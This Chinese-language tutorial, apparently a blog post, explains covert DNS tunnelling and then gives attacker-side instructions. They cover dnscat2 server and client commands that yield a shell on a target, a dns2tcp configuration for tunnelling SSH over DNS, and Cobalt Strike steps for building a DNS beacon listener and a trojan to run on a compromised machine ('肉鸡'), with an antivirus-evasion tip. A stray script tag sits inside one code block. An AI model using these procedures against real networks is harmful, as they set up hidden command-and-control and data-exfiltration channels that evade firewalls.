DNS隐蔽隧道通信:

原理说明

​ DNS隧道是一种隐秘隧道,通过将其他协议封装到DNS协议中传输建立通信的方式。因为DNS协议在网络中一种基础必不可少的服务,所以大部分防火墙和入侵检测设备是不会对对DNS流量进行拦截过滤,这就给DNS作为隐蔽通信提供了有力条件,从而可以利用它实现诸如僵尸网络或木马的远程控制通道和对外传输数据等。
​ DNS隧道运营的原理可以归结为:“本地找不到,就找上一级”。当DNS服务器收到要解析的地址的DNS请求时,服务器开始在其数据库中查找。如果没有找到记录,则服务器向数据库中指定的域发送请求。

​ 下面举一个例子说明,让我们看看如何工作的:僵尸主机发起URL请求,比如域名为5YO15bC45LiA5Y+3.xysafe.tk。DNS服务器收到此请求首先尝试找到域扩展名“.tk”,然后找到“xysafe.tk”,但是在其数据库中找不到“5YO15bC45LiA5Y+3.xysafe.tk”。然后它将请求转发到xysafe.tk,并询问它是否知道这样的名称,作为回应xysafe.tk预计将返回相应的IP;然而,它可以返回任意字符串,包括C&C指令。

image-20221124092108163

危害说明

1、主机可能已中毒,攻击者利用DNS隧道控制主机对外发起DoS攻击,可能存在被网安、网信办通报的风险。

2、主机可能已中毒,攻击者利用DNS隧道对外传输敏感数据,导致客户信息被泄露。

DNS隧道工具:

dnscat2:dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……

支持Type

  • A
  • TXT
  • CNAME
  • MX
  • AAAA

在攻击机上,执行:

1
2
3
4
5
#方式1启动【常用】
#abc.com 自定义DNS传输的域名
#–secret 自定义连接密码

sudo ruby./dnscat2.rb abc.com --secret=123456
1
2
3
4
5
#方式2启动
#server&port 表示监听本机的533端口
#–secret 自定义连接密码

sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456
1
2
3
4
5
6
#方式3启动
#–secret 定义了通讯密码。
#–security 规定了安全级别。
#–no-cache 禁止缓存

sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache

在目标机上,执行:

1
2
3
#对应 方式1

dnscat --secret=123456 abc.com
1
2
3
#对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上

dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT

客户端连上后,会提示:Session established!

而服务端的控制台输入:windows,即可以看到一个客户端上线:

1
1 :: command (DESKTOP-7NSDT5)……

其中:

  • 1表示该客户端ID,如果使用window -i 1,即可进入该通道;

键入shell,即可得到一个半交互shell!

dns2tcp:dns2tcp 是一个利用DNS隧道转发TCP连接的工具,使用C语言开发。

支持Type

  • KEY
  • TXT

攻击机使用前应当编辑/etc/dns2tcpd.conf文件,内容如下:

1
2
3
4
5
6
7
8
9
10
listen = 192.168.10.88(本机IP) 
port = 53
user = nobody
chroot = /var/empty/dns2tcp/
# 连接密码
key = 123456
# 解析的域名
domain = abc.com
# 提供出来可使用的资源列表
resources = ssh:127.0.0.1:22,http:127.0.0.1:8080

攻击机运行dns2tcpd:

1
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

参数解释:

1
2
3
-F 	 前台运行
-d 调试信息基本,越低信息越全
-f 配置文件

目标机测试连接:

1
dns2tcpc -key 123456 -z abc.com <your server ip>

参数解释:

1
2
3
-key 连接密码
-z 启用压缩,速度将更快
<your server ip> 可选,服务端所在IP(DNS服务器IP)。不写将使用中继模式,否则使用直连模式

如果提示:

1
2
Available connection(s):
ssh

表示连接可用!

进行连接:

1
dns2tcpc -key 123456 -r ssh -l 9999 -z abc.com <your server ip>

参数解释:

1
2
3
-r 表示要使用的服务器的哪个资源
-l 本地监听的端口
<your server ip> 可选,服务端所在IP(DNS服务器IP)。不写将使用中继模式,否则使用直连模式

最后连接ssh:

1
2
# ssh连接
ssh 127.0.0.1 -p 9999

cobalt strike:CS作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为容易的控制终端功能,使其变成众多APT组织的首选。

支持Type

  • ​ A
  • ​ TXT

CS创建监听器和木马的常规步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 创建监听器
点击左上角的Cobalt Strike菜单
选中Listeners <script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>
点击Add按钮会自动跳出监听器的配置框,选择一个监听器
设置好host(teamserver的ip)、端口
后面会继续弹出一个框,设置teamserver域名,没有就填ip(一般用域名最好,不会变)

# 生成木马
Attacks菜单
选择Packages
选择Windows Eecutable(表示Windows可执行文件,powershell当然更好,易过杀软)
Listener选择你创建的listener(注意如果是dns,选择括号带有dns的那个)
# 如果肉鸡是win64位,当选择Use x64 payload时,可能会提示does not have an x64 stager!这时,可以考虑改为PowerShell方式!
将生成的木马,扔到肉鸡上执行,即可上线

当我们需要采用DNS隧道时,只需将上面步骤中:

  • 第三步:选择beacon_dns/reserve_dns_txt类型的监听器,表示使用DNS隧道进行通讯
  • 第五步:设置DNS隧道通讯需要用到的域名